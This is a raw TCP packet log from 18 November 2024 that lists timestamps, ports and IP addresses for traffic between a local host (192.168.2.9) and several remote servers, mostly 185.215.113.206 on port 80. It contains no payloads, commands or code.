Nov 18, 2024 15:17:01.843275070 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.843286991 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.843311071 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.843339920 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.843508959 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.843559027 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.843570948 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.843601942 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.843626976 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.843652010 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.843666077 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.843704939 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.843831062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.843890905 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.843905926 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.843931913 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.843950987 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.843974113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.843987942 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.844023943 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.846394062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.846455097 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.846467972 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.846479893 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.846503019 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.846543074 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.846604109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.846625090 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.846637964 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.846643925 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.846661091 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.846692085 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.846709013 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.846863031 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.847119093 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.895414114 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:01.895437002 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:01.895495892 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:01.895510912 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:01.895639896 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:01.895639896 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:01.899036884 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:01.899056911 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:01.899143934 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:01.899151087 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:01.899254084 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:01.899492979 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.899528980 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.899543047 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.899557114 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.899569988 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.899578094 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.899611950 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.901511908 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.901556969 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.901566029 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.901570082 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.901592970 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.901621103 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.909651995 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:01.909713984 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:01.909796000 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:01.910042048 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:01.910057068 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:01.960944891 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.960968971 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.960980892 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.960994959 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.961023092 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.961205959 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.961260080 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962088108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962094069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962136030 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962147951 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962184906 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962191105 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962203979 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962232113 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962251902 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962331057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962419987 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962421894 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962431908 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962461948 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962469101 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962481976 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962483883 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962507963 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962523937 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962688923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962728024 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962888002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962899923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962935925 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962944031 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962946892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962956905 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.962976933 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.962992907 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.963152885 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.963176012 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.963190079 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.963203907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.963212013 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.963248014 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.965269089 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.965313911 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.965333939 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.965348005 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.965390921 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.965395927 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.965435028 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.965445042 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.965532064 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.965555906 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.965559006 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.965563059 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.965609074 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.966065884 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.966090918 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.966103077 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:01.966120958 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:01.966151953 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.010849953 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.010874033 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.010927916 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.010937929 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.010963917 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.011147976 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.018311024 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.018337965 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.018354893 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.018366098 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.018402100 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.018516064 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.018528938 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.018542051 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.018565893 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.018579960 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.020596027 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.020659924 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.020670891 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.020700932 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.020756960 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.048566103 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.048595905 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.048686981 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.048686981 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.048698902 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.048801899 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.057636023 CET	443	49789	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.057946920 CET	49789	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.057957888 CET	443	49789	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.058327913 CET	443	49789	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.058772087 CET	49789	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.058840036 CET	443	49789	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.058995008 CET	49789	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.079787016 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.079802990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.079816103 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.079839945 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.079859972 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.081294060 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081345081 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.081361055 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081372976 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081399918 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.081413984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.081511021 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081525087 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081569910 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.081618071 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081633091 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081645966 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081664085 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.081665993 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081674099 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081696033 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.081728935 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.081914902 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081928968 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081940889 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.081969976 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.081995010 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.082026005 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.082040071 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.082051992 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.082071066 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.082092047 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.084227085 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.084274054 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.084287882 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.084291935 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.084311962 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.084328890 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.084393978 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.084407091 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.084423065 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.084435940 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.084449053 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.084450960 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.084486008 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.084610939 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.084624052 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.084635973 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.084656954 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.084688902 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.085309982 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.085355997 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.085359097 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.085369110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.085397005 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.085412979 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.103333950 CET	443	49789	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.113559961 CET	49789	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.126143932 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.126171112 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.126244068 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.126255989 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.126475096 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.127279997 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.127296925 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.127351046 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.127357006 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.127530098 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.127530098 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.137413979 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.137459040 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.137471914 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.137515068 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.137523890 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.137530088 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.137562037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.137567043 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.137605906 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.139491081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.139503002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.139555931 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.139556885 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.139576912 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.139590025 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.139600992 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.139632940 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.198792934 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.198810101 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.198822975 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.198854923 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.198884964 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200290918 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200320005 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200333118 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200341940 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200347900 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200377941 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200377941 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200387001 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200396061 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200427055 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200448990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200463057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200474977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200503111 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200531006 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200547934 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200593948 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200634003 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200649977 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200731993 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200743914 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200758934 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200778961 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200794935 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200869083 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200903893 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200915098 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.200944901 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.200968027 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.203018904 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.203083038 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.203119040 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.203160048 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.203186035 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.203231096 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.203265905 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.203278065 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.203309059 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.203330040 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.203336000 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:02.203398943 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:02.234970093 CET	443	49789	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.234993935 CET	443	49789	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.235049009 CET	49789	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.235064983 CET	443	49789	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.235078096 CET	443	49789	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.235136032 CET	49789	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.236380100 CET	49789	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.236392975 CET	443	49789	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.236879110 CET	49796	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.236931086 CET	443	49796	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.237013102 CET	49796	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.238344908 CET	49796	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.238360882 CET	443	49796	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.241482973 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.241509914 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.241549969 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.241563082 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.241574049 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.241606951 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.241664886 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.241669893 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.241699934 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:02.242352962 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.242352962 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:02.290601015 CET	443	49794	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.290909052 CET	49794	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.290925980 CET	443	49794	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.292188883 CET	443	49794	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.292259932 CET	49794	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.292984962 CET	49794	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.293073893 CET	443	49794	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.293179989 CET	49794	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.303705931 CET	443	49791	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.303921938 CET	49791	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.303935051 CET	443	49791	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.304994106 CET	443	49791	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.305051088 CET	49791	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.305484056 CET	49791	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.305550098 CET	443	49791	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.305951118 CET	49791	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.305959940 CET	443	49791	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.314333916 CET	443	49793	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.314775944 CET	49793	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.314795971 CET	443	49793	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.315066099 CET	443	49792	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.315892935 CET	443	49793	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.316112041 CET	49793	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.317460060 CET	443	49790	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:02.320025921 CET	49792	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:02.320036888 CET	443	49792	13.107.246.57	192.168.2.9
